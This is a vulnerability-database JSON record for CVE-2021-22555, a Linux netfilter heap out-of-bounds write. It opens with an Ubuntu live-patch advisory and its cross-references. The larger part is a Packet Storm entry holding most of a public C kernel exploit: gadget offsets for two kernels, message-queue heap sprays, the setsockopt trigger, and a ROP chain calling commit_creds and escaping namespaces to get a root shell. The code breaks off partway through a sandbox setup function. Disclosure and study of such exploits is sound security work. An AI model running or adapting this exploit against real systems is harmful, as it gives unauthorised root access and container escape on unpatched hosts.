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{"id": "LSN-0080-1", "vendorId": null, "type": "ubuntu", "bulletinFamily": "unix", "title": "Kernel Live Patch Security Notice", "description": "Andy Nguyen discovered that the netfilter subsystem in the Linux kernel \ncontained an out-of-bounds write in its setsockopt() implementation. A \nlocal attacker could use this to cause a denial of service (system crash) \nor possibly execute arbitrary code.(CVE-2021-22555)\n", "published": "2021-08-16T00:00:00", "modified": "2021-08-16T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 4.6}, "severity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://ubuntu.com/security/notices/LSN-0080-1", "reporter": "Ubuntu", "references": ["/security/CVE-2021-22555"], "cvelist": ["CVE-2021-22555"], "immutableFields": [], "lastseen": "2022-01-04T10:42:58", "viewCount": 85, "enchantments": {"dependencies": {"references": [{"type": "almalinux", "idList": ["ALSA-2021:3057"]}, {"type": "amazon", "idList": ["ALAS2-2021-1627"]}, {"type": "centos", "idList": ["CESA-2021:3327"]}, {"type": "cloudlinux", "idList": ["CLSA-2021:1632261894", "CLSA-2021:1632261912"]}, {"type": "cve", "idList": ["CVE-2021-22555"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-22555"]}, {"type": "exploitdb", "idList": ["EDB-ID:50135"]}, {"type": "f5", "idList": ["F5:K06524534"]}, {"type": "githubexploit", "idList": ["37814312-0D08-57BF-AD5C-6A3A5942457B", "40BC579C-001A-55C8-BA87-003B6E41F5BA", "490EABEE-259A-5EC7-92F2-4B9159861857", "E7E00541-3777-5D3F-A33F-EAEE6520CEC1"]}, {"type": "ibm", "idList": ["3CF3C789E67BC4BED4E00BAB92CFDEBBACDE7238E903B67252519FD7D01B4413", "516C78282E257BAD924E6FC3088367963BA15FCD8305B1B9C4978CA225F03D64", "6549F7FB91216E6B5325DB660AF73FDF2D181F5FC1D3D96D412B600D6C349A96", "DFB2B8A17991C21AA572BC3D0FE7E4D2908FC84F553760CE8368AAFCE6C462AE"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-LINUX-LOCAL-NETFILTER_XTABLES_HEAP_OOB_WRITE_PRIV_ESC-"]}, {"type": "nessus", "idList": ["ALMA_LINUX_ALSA-2021-3057.NASL", "CENTOS8_RHSA-2021-3057.NASL", "CENTOS_RHSA-2021-3327.NASL", "EULEROS_SA-2021-2465.NASL", "EULEROS_SA-2021-2530.NASL", "EULEROS_SA-2021-2588.NASL", "EULEROS_SA-2021-2663.NASL", "EULEROS_SA-2021-2818.NASL", "EULEROS_SA-2021-2857.NASL", "EULEROS_SA-2022-1070.NASL", "F5_BIGIP_SOL06524534.NASL", "NEWSTART_CGSL_NS-SA-2022-0020_KERNEL.NASL", "NEWSTART_CGSL_NS-SA-2022-0023_KERNEL.NASL", "NEWSTART_CGSL_NS-SA-2022-0047_KERNEL.NASL", "NEWSTART_CGSL_NS-SA-2022-0073_KERNEL.NASL", "NEWSTART_CGSL_NS-SA-2022-0074_KERNEL.NASL", "NEWSTART_CGSL_NS-SA-2022-0089_KERNEL.NASL", "NUTANIX_NXSA-AOS-5_20_2.NASL", "NUTANIX_NXSA-AOS-5_20_3.NASL", "NUTANIX_NXSA-AOS-6_0_1_6.NASL", "NUTANIX_NXSA-AOS-6_0_2.NASL", "NUTANIX_NXSA-AOS-6_1.NASL", "OPENSUSE-2021-1076.NASL", "OPENSUSE-2021-2409.NASL", "OPENSUSE-2021-2415.NASL", "OPENSUSE-2021-2427.NASL", "ORACLELINUX_ELSA-2021-3057.NASL", "ORACLELINUX_ELSA-2021-3327.NASL", "ORACLELINUX_ELSA-2021-9395.NASL", "ORACLEVM_OVMSA-2021-0025.NASL", "REDHAT-RHSA-2021-3044.NASL", "REDHAT-RHSA-2021-3057.NASL", "REDHAT-RHSA-2021-3088.NASL", "REDHAT-RHSA-2021-3173.NASL", "REDHAT-RHSA-2021-3181.NASL", "REDHAT-RHSA-2021-3235.NASL", "REDHAT-RHSA-2021-3321.NASL", "REDHAT-RHSA-2021-3327.NASL", "REDHAT-RHSA-2021-3328.NASL", "REDHAT-RHSA-2021-3363.NASL", "REDHAT-RHSA-2021-3375.NASL", "REDHAT-RHSA-2021-3380.NASL", "REDHAT-RHSA-2021-3381.NASL", "REDHAT-RHSA-2021-3399.NASL", "REDHAT-RHSA-2021-3477.NASL", "REDHAT-RHSA-2021-3522.NASL", "REDHAT-RHSA-2021-3523.NASL", "REDHAT-RHSA-2021-3725.NASL", "REDHAT-RHSA-2021-3812.NASL", "REDHAT-RHSA-2021-3814.NASL", "ROCKY_LINUX_RLSA-2021-3057.NASL", "SLACKWARE_SSA_2021-202-01.NASL", "SL_20210831_KERNEL_ON_SL7_X.NASL", "SUSE_SU-2021-2406-1.NASL", "SUSE_SU-2021-2407-1.NASL", "SUSE_SU-2021-2408-1.NASL", "SUSE_SU-2021-2409-1.NASL", "SUSE_SU-2021-2415-1.NASL", "SUSE_SU-2021-2416-1.NASL", "SUSE_SU-2021-2421-1.NASL", "SUSE_SU-2021-2422-1.NASL", "SUSE_SU-2021-2427-1.NASL", "SUSE_SU-2021-2438-1.NASL", "SUSE_SU-2021-2451-1.NASL", "SUSE_SU-2021-2487-1.NASL", "SUSE_SU-2021-2538-1.NASL", "SUSE_SU-2021-2542-1.NASL", "SUSE_SU-2021-2559-1.NASL", "SUSE_SU-2021-2560-1.NASL", "SUSE_SU-2021-2577-1.NASL", "SUSE_SU-2021-2584-1.NASL", "SUSE_SU-2021-2599-1.NASL", "SUSE_SU-2021-2643-1.NASL", "UBUNTU_USN-5039-1.NASL"]}, {"type": "oraclelinux", "idList": ["ELSA-2021-3057", "ELSA-2021-3327", "ELSA-2021-9395"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163528", "PACKETSTORM:164437"]}, {"type": "photon", "idList": ["PHSA-2021-0234", "PHSA-2021-0341", "PHSA-2021-0390", "PHSA-2021-3.0-0234"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:C1B4AB12CDDD030CDAB31AA2F9E27438"]}, {"type": "redhat", "idList": ["RHSA-2021:3044", "RHSA-2021:3057", "RHSA-2021:3088", "RHSA-2021:3173", "RHSA-2021:3181", "RHSA-2021:3235", "RHSA-2021:3262", "RHSA-2021:3321", "RHSA-2021:3327", "RHSA-2021:3328", "RHSA-2021:3361", "RHSA-2021:3363", "RHSA-2021:3375", "RHSA-2021:3380", "RHSA-2021:3381", "RHSA-2021:3399", "RHSA-2021:3454", "RHSA-2021:3477", "RHSA-2021:3522", "RHSA-2021:3523", "RHSA-2021:3598", "RHSA-2021:3653", "RHSA-2021:3725", "RHSA-2021:3812", "RHSA-2021:3814"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-22555"]}, {"type": "rocky", "idList": ["RLSA-2021:3057", "RLSA-2021:3088"]}, {"type": "slackware", "idList": ["SSA-2021-202-01"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:1076-1", "OPENSUSE-SU-2021:2409-1", "OPENSUSE-SU-2021:2415-1", "OPENSUSE-SU-2021:2427-1"]}, {"type": "ubuntu", "idList": ["LSN-0081-1", "LSN-0083-1", "USN-5039-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-0937", "UB:CVE-2021-22555"]}, {"type": "veracode", "idList": ["VERACODE:31733"]}, {"type": "zdt", "idList": ["1337DAY-ID-36562", "1337DAY-ID-36873"]}]}, "score": {"value": 3.7, "vector": "NONE"}, "backreferences": {"references": [{"type": "almalinux", "idList": ["ALSA-2021:3057"]}, {"type": "amazon", "idList": ["ALAS2-2021-1627"]}, {"type": "centos", "idList": ["CESA-2021:3327"]}, {"type": "cloudlinux", "idList": ["CLSA-2021:1632261894", "CLSA-2021:1632261912"]}, {"type": "cve", "idList": ["CVE-2021-22555"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-22555"]}, {"type": "exploitdb", "idList": ["EDB-ID:50135"]}, {"type": "githubexploit", "idList": ["40BC579C-001A-55C8-BA87-003B6E41F5BA", "490EABEE-259A-5EC7-92F2-4B9159861857"]}, {"type": "ibm", "idList": ["6549F7FB91216E6B5325DB660AF73FDF2D181F5FC1D3D96D412B600D6C349A96"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/LINUX/LOCAL/NETFILTER_XTABLES_HEAP_OOB_WRITE_PRIV_ESC/"]}, {"type": "nessus", "idList": ["CENTOS8_RHSA-2021-3057.NASL", "CENTOS_RHSA-2021-3327.NASL", "EULEROS_SA-2021-2465.NASL", "OPENSUSE-2021-1076.NASL", "OPENSUSE-2021-2409.NASL", "OPENSUSE-2021-2415.NASL", "OPENSUSE-2021-2427.NASL", "ORACLELINUX_ELSA-2021-3057.NASL", "ORACLELINUX_ELSA-2021-3327.NASL", "ORACLELINUX_ELSA-2021-9395.NASL", "ORACLEVM_OVMSA-2021-0025.NASL", "REDHAT-RHSA-2021-3044.NASL", "REDHAT-RHSA-2021-3057.NASL", "REDHAT-RHSA-2021-3088.NASL", "REDHAT-RHSA-2021-3173.NASL", "REDHAT-RHSA-2021-3181.NASL", "REDHAT-RHSA-2021-3235.NASL", "REDHAT-RHSA-2021-3321.NASL", "REDHAT-RHSA-2021-3327.NASL", "REDHAT-RHSA-2021-3328.NASL", "REDHAT-RHSA-2021-3363.NASL", "REDHAT-RHSA-2021-3375.NASL", "REDHAT-RHSA-2021-3380.NASL", "REDHAT-RHSA-2021-3381.NASL", "REDHAT-RHSA-2021-3399.NASL", "REDHAT-RHSA-2021-3725.NASL", "REDHAT-RHSA-2021-3812.NASL", "REDHAT-RHSA-2021-3814.NASL", "SLACKWARE_SSA_2021-202-01.NASL", "SL_20210831_KERNEL_ON_SL7_X.NASL", "SUSE_SU-2021-2406-1.NASL", "SUSE_SU-2021-2407-1.NASL", "SUSE_SU-2021-2408-1.NASL", "SUSE_SU-2021-2409-1.NASL", "SUSE_SU-2021-2415-1.NASL", "SUSE_SU-2021-2416-1.NASL", "SUSE_SU-2021-2421-1.NASL", "SUSE_SU-2021-2422-1.NASL", "SUSE_SU-2021-2427-1.NASL", "SUSE_SU-2021-2438-1.NASL", "SUSE_SU-2021-2451-1.NASL", "SUSE_SU-2021-2487-1.NASL", "SUSE_SU-2021-2538-1.NASL", "SUSE_SU-2021-2542-1.NASL", "SUSE_SU-2021-2559-1.NASL", "SUSE_SU-2021-2560-1.NASL", "SUSE_SU-2021-2577-1.NASL", "SUSE_SU-2021-2584-1.NASL", "SUSE_SU-2021-2599-1.NASL", "SUSE_SU-2021-2643-1.NASL", "UBUNTU_USN-5039-1.NASL"]}, {"type": "oraclelinux", "idList": ["ELSA-2021-3057", "ELSA-2021-3327", "ELSA-2021-9395"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:163528", "PACKETSTORM:164437"]}, {"type": "photon", "idList": ["PHSA-2021-0234", "PHSA-2021-0341", "PHSA-2021-0390"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:C1B4AB12CDDD030CDAB31AA2F9E27438"]}, {"type": "redhat", "idList": ["RHSA-2021:3057"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-22555"]}, {"type": "rocky", "idList": ["RLSA-2021:3057"]}, {"type": "slackware", "idList": ["SSA-2021-202-01"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:1076-1", "OPENSUSE-SU-2021:2409-1", "OPENSUSE-SU-2021:2415-1", "OPENSUSE-SU-2021:2427-1"]}, {"type": "ubuntu", "idList": ["USN-5039-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-22555"]}, {"type": "zdt", "idList": ["1337DAY-ID-36562", "1337DAY-ID-36873"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2021-22555", "epss": "0.002560000", "percentile": "0.616940000", "modified": "2023-03-17"}], "vulnersScore": 3.7}, "_state": {"dependencies": 1678920471, "score": 1678921101, "epss": 1679109163}, "_internal": {"score_hash": "da15a19d0a254ffdeec7fc20eca3b9c0"}, "affectedPackage": []}

{"packetstorm": [{"lastseen": "2021-07-16T15:00:30", "description": "", "cvss3": {}, "published": "2021-07-16T00:00:00", "type": "packetstorm", "title": "Linux Kernel Netfilter Heap Out-Of-Bounds Write", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-22555"], "modified": "2021-07-16T00:00:00", "id": "PACKETSTORM:163528", "href": "https://packetstormsecurity.com/files/163528/Linux-Kernel-Netfilter-Heap-Out-Of-Bounds-Write.html", "sourceData": "`/* \n* CVE-2021-22555: Turning \\x00\\x00 into 10000$ \n* by Andy Nguyen (theflow@) \n* \n* theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c \n* theflow@theflow:~$ ./exploit \n* [+] Linux Privilege Escalation by theflow@ - 2021 \n* \n* [+] STAGE 0: Initialization \n* [*] Setting up namespace sandbox... \n* [*] Initializing sockets and message queues... \n* \n* [+] STAGE 1: Memory corruption \n* [*] Spraying primary messages... \n* [*] Spraying secondary messages... \n* [*] Creating holes in primary messages... \n* [*] Triggering out-of-bounds write... \n* [*] Searching for corrupted primary message... \n* [+] fake_idx: ffc \n* [+] real_idx: fc4 \n* \n* [+] STAGE 2: SMAP bypass \n* [*] Freeing real secondary message... \n* [*] Spraying fake secondary messages... \n* [*] Leaking adjacent secondary message... \n* [+] kheap_addr: ffff91a49cb7f000 \n* [*] Freeing fake secondary messages... \n* [*] Spraying fake secondary messages... \n* [*] Leaking primary message... \n* [+] kheap_addr: ffff91a49c7a0000 \n* \n* [+] STAGE 3: KASLR bypass \n* [*] Freeing fake secondary messages... \n* [*] Spraying fake secondary messages... \n* [*] Freeing sk_buff data buffer... \n* [*] Spraying pipe_buffer objects... \n* [*] Leaking and freeing pipe_buffer object... \n* [+] anon_pipe_buf_ops: ffffffffa1e78380 \n* [+] kbase_addr: ffffffffa0e00000 \n* \n* [+] STAGE 4: Kernel code execution \n* [*] Spraying fake pipe_buffer objects... \n* [*] Releasing pipe_buffer objects... \n* [*] Checking for root... \n* [+] Root privileges gained. \n* \n* [+] STAGE 5: Post-exploitation \n* [*] Escaping container... \n* [*] Cleaning up... \n* [*] Popping root shell... \n* root@theflow:/# id \n* uid=0(root) gid=0(root) groups=0(root) \n* root@theflow:/# \n* \n* Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+. \n*/ \n \n// clang-format off \n#define _GNU_SOURCE \n#include <err.h> \n#include <errno.h> \n#include <fcntl.h> \n#include <inttypes.h> \n#include <sched.h> \n#include <stdio.h> \n#include <stdlib.h> \n#include <string.h> \n#include <unistd.h> \n#include <net/if.h> \n#include <netinet/in.h> \n#include <sys/ipc.h> \n#include <sys/msg.h> \n#include <sys/socket.h> \n#include <sys/syscall.h> \n#include <linux/netfilter_ipv4/ip_tables.h> \n// clang-format on \n \n#define PAGE_SIZE 0x1000 \n#define PRIMARY_SIZE 0x1000 \n#define SECONDARY_SIZE 0x400 \n \n#define NUM_SOCKETS 4 \n#define NUM_SKBUFFS 128 \n#define NUM_PIPEFDS 256 \n#define NUM_MSQIDS 4096 \n \n#define HOLE_STEP 1024 \n \n#define MTYPE_PRIMARY 0x41 \n#define MTYPE_SECONDARY 0x42 \n#define MTYPE_FAKE 0x1337 \n \n#define MSG_TAG 0xAAAAAAAA \n \n// #define KERNEL_COS_5_4_89 1 \n#define KERNEL_UBUNTU_5_8_0_48 1 \n \n// clang-format off \n#ifdef KERNEL_COS_5_4_89 \n// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx] \n#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8 \n// 0xffffffff815401df : pop rsp ; pop rbx ; ret \n#define POP_RSP_POP_RBX_RET 0x5401DF \n \n// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret \n#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65 \n// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret \n#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8 \n// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret \n#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972 \n// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret \n#define MOV_RSP_RBP_POP_RBP_RET 0x6748C \n \n// 0xffffffff810c7c80 : pop rdx ; ret \n#define POP_RDX_RET 0xC7C80 \n// 0xffffffff8143a2b4 : pop rsi ; ret \n#define POP_RSI_RET 0x43A2B4 \n// 0xffffffff81067520 : pop rdi ; ret \n#define POP_RDI_RET 0x67520 \n// 0xffffffff8100054b : pop rbp ; ret \n#define POP_RBP_RET 0x54B \n \n// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret \n#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6 \n// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret \n#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1 \n \n#define FIND_TASK_BY_VPID 0x963C0 \n#define SWITCH_TASK_NAMESPACES 0x9D080 \n#define COMMIT_CREDS 0x9EC10 \n#define PREPARE_KERNEL_CRED 0x9F1F0 \n \n#define ANON_PIPE_BUF_OPS 0xE51600 \n#define INIT_NSPROXY 0x1250590 \n#elif KERNEL_UBUNTU_5_8_0_48 \n// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39] \n#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783 \n// 0xffffffff8109b6c0 : pop rsp ; ret \n#define POP_RSP_RET 0x9B6C0 \n// 0xffffffff8106db59 : add rsp, 0xd0 ; ret \n#define ADD_RSP_D0_RET 0x6DB59 \n \n// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret \n#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3 \n// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret \n#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3 \n// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret \n#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF \n// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret \n#define MOV_RSP_RBP_POP_RBP_RET 0x891BC \n \n// 0xffffffff810f5633 : pop rcx ; ret \n#define POP_RCX_RET 0xF5633 \n// 0xffffffff811abaae : pop rsi ; ret \n#define POP_RSI_RET 0x1ABAAE \n// 0xffffffff81089250 : pop rdi ; ret \n#define POP_RDI_RET 0x89250 \n// 0xffffffff810005ae : pop rbp ; ret \n#define POP_RBP_RET 0x5AE \n \n// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret \n#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894 \n// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret \n#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB \n \n#define FIND_TASK_BY_VPID 0xBFBC0 \n#define SWITCH_TASK_NAMESPACES 0xC7A50 \n#define COMMIT_CREDS 0xC8C80 \n#define PREPARE_KERNEL_CRED 0xC9110 \n \n#define ANON_PIPE_BUF_OPS 0x1078380 \n#define INIT_NSPROXY 0x1663080 \n#else \n#error \"No kernel version defined\" \n#endif \n// clang-format on \n \n#define SKB_SHARED_INFO_SIZE 0x140 \n#define MSG_MSG_SIZE (sizeof(struct msg_msg)) \n#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) \n \nstruct msg_msg { \nuint64_t m_list_next; \nuint64_t m_list_prev; \nuint64_t m_type; \nuint64_t m_ts; \nuint64_t next; \nuint64_t security; \n}; \n \nstruct msg_msgseg { \nuint64_t next; \n}; \n \nstruct pipe_buffer { \nuint64_t page; \nuint32_t offset; \nuint32_t len; \nuint64_t ops; \nuint32_t flags; \nuint32_t pad; \nuint64_t private; \n}; \n \nstruct pipe_buf_operations { \nuint64_t confirm; \nuint64_t release; \nuint64_t steal; \nuint64_t get; \n}; \n \nstruct { \nlong mtype; \nchar mtext[PRIMARY_SIZE - MSG_MSG_SIZE]; \n} msg_primary; \n \nstruct { \nlong mtype; \nchar mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; \n} msg_secondary; \n \nstruct { \nlong mtype; \nchar mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE]; \n} msg_fake; \n \nvoid build_msg_msg(struct msg_msg *msg, uint64_t m_list_next, \nuint64_t m_list_prev, uint64_t m_ts, uint64_t next) { \nmsg->m_list_next = m_list_next; \nmsg->m_list_prev = m_list_prev; \nmsg->m_type = MTYPE_FAKE; \nmsg->m_ts = m_ts; \nmsg->next = next; \nmsg->security = 0; \n} \n \nint write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) { \n*(long *)msgp = msgtyp; \nif (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) { \nperror(\"[-] msgsnd\"); \nreturn -1; \n} \nreturn 0; \n} \n \nint peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { \nif (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) < \n0) { \nperror(\"[-] msgrcv\"); \nreturn -1; \n} \nreturn 0; \n} \n \nint read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { \nif (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { \nperror(\"[-] msgrcv\"); \nreturn -1; \n} \nreturn 0; \n} \n \nint spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { \nfor (int i = 0; i < NUM_SOCKETS; i++) { \nfor (int j = 0; j < NUM_SKBUFFS; j++) { \nif (write(ss[i][0], buf, size) < 0) { \nperror(\"[-] write\"); \nreturn -1; \n} \n} \n} \nreturn 0; \n} \n \nint free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) { \nfor (int i = 0; i < NUM_SOCKETS; i++) { \nfor (int j = 0; j < NUM_SKBUFFS; j++) { \nif (read(ss[i][1], buf, size) < 0) { \nperror(\"[-] read\"); \nreturn -1; \n} \n} \n} \nreturn 0; \n} \n \nint trigger_oob_write(int s) { \nstruct __attribute__((__packed__)) { \nstruct ipt_replace replace; \nstruct ipt_entry entry; \nstruct xt_entry_match match; \nchar pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; \nstruct xt_entry_target target; \n} data = {0}; \n \ndata.replace.num_counters = 1; \ndata.replace.num_entries = 1; \ndata.replace.size = (sizeof(data.entry) + sizeof(data.match) + \nsizeof(data.pad) + sizeof(data.target)); \n \ndata.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + \nsizeof(data.pad) + sizeof(data.target)); \ndata.entry.target_offset = \n(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); \n \ndata.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); \nstrcpy(data.match.u.user.name, \"icmp\"); \ndata.match.u.user.revision = 0; \n \ndata.target.u.user.target_size = sizeof(data.target); \nstrcpy(data.target.u.user.name, \"NFQUEUE\"); \ndata.target.u.user.revision = 1; \n \n// Partially overwrite the adjacent buffer with 2 bytes of zero. \nif (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { \nif (errno == ENOPROTOOPT) { \nprintf(\"[-] Error ip_tables module is not loaded.\\n\"); \nreturn -1; \n} \n} \n \nreturn 0; \n} \n \n// Note: Must not touch offset 0x10-0x18. \nvoid build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { \nuint64_t *rop; \n#ifdef KERNEL_COS_5_4_89 \n*(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET; \n \nrop = (uint64_t *)&buf[0x18]; \n \n// Save RBP at scratchpad_addr. \n*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET; \n*rop++ = scratchpad_addr; // R14 \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBX \n*rop++ = 0xDEADBEEF; // R14 \n*rop++ = 0xDEADBEEF; // RBP \n \n// commit_creds(prepare_kernel_cred(NULL)) \n*rop++ = kbase_addr + POP_RDI_RET; \n*rop++ = 0; // RDI \n*rop++ = kbase_addr + PREPARE_KERNEL_CRED; \n*rop++ = kbase_addr + POP_RDX_RET; \n*rop++ = 1; // RDX \n*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + COMMIT_CREDS; \n \n// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) \n*rop++ = kbase_addr + POP_RDI_RET; \n*rop++ = 1; // RDI \n*rop++ = kbase_addr + FIND_TASK_BY_VPID; \n*rop++ = kbase_addr + POP_RDX_RET; \n*rop++ = 1; // RDX \n*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + POP_RSI_RET; \n*rop++ = kbase_addr + INIT_NSPROXY; // RSI \n*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; \n \n// Load RBP from scratchpad_addr and resume execution. \n*rop++ = kbase_addr + POP_RBP_RET; \n*rop++ = scratchpad_addr - 0x25; // RBP \n*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET; \n*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; \n#elif KERNEL_UBUNTU_5_8_0_48 \n*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET; \n*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET; \n \nrop = (uint64_t *)&buf[0xD8]; \n \n// Save RBP at scratchpad_addr. \n*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET; \n*rop++ = scratchpad_addr; // R12 \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBX \n*rop++ = 0xDEADBEEF; // R12 \n*rop++ = 0xDEADBEEF; // RBP \n \n// commit_creds(prepare_kernel_cred(NULL)) \n*rop++ = kbase_addr + POP_RDI_RET; \n*rop++ = 0; // RDI \n*rop++ = kbase_addr + PREPARE_KERNEL_CRED; \n*rop++ = kbase_addr + POP_RCX_RET; \n*rop++ = 4; // RCX \n*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; \n*rop++ = kbase_addr + COMMIT_CREDS; \n \n// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) \n*rop++ = kbase_addr + POP_RDI_RET; \n*rop++ = 1; // RDI \n*rop++ = kbase_addr + FIND_TASK_BY_VPID; \n*rop++ = kbase_addr + POP_RCX_RET; \n*rop++ = 4; // RCX \n*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET; \n*rop++ = 0xDEADBEEF; // RBP \n*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET; \n*rop++ = kbase_addr + POP_RSI_RET; \n*rop++ = kbase_addr + INIT_NSPROXY; // RSI \n*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; \n \n// Load RBP from scratchpad_addr and resume execution. \n*rop++ = kbase_addr + POP_RBP_RET; \n*rop++ = scratchpad_addr - 0xA; // RBP \n*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET; \n*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; \n#endif \n} \n \nint setup_sandbox(void) { \nif (unshare(CLONE_NEWUSER) < 0) { \nperror(\"[-] unshare(CLONE_NEWUSER)\"); \nreturn -1; \n} \nif (unshare(CLONE_NEWNET) < 0) { \nperror(\"[-] unshare(CLONE_NEWNET)\"); \nreturn -1; \n} \n \ncpu_set_t set; \nCPU_ZERO(&set); \nCPU_SET(0, &set); \nif (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { 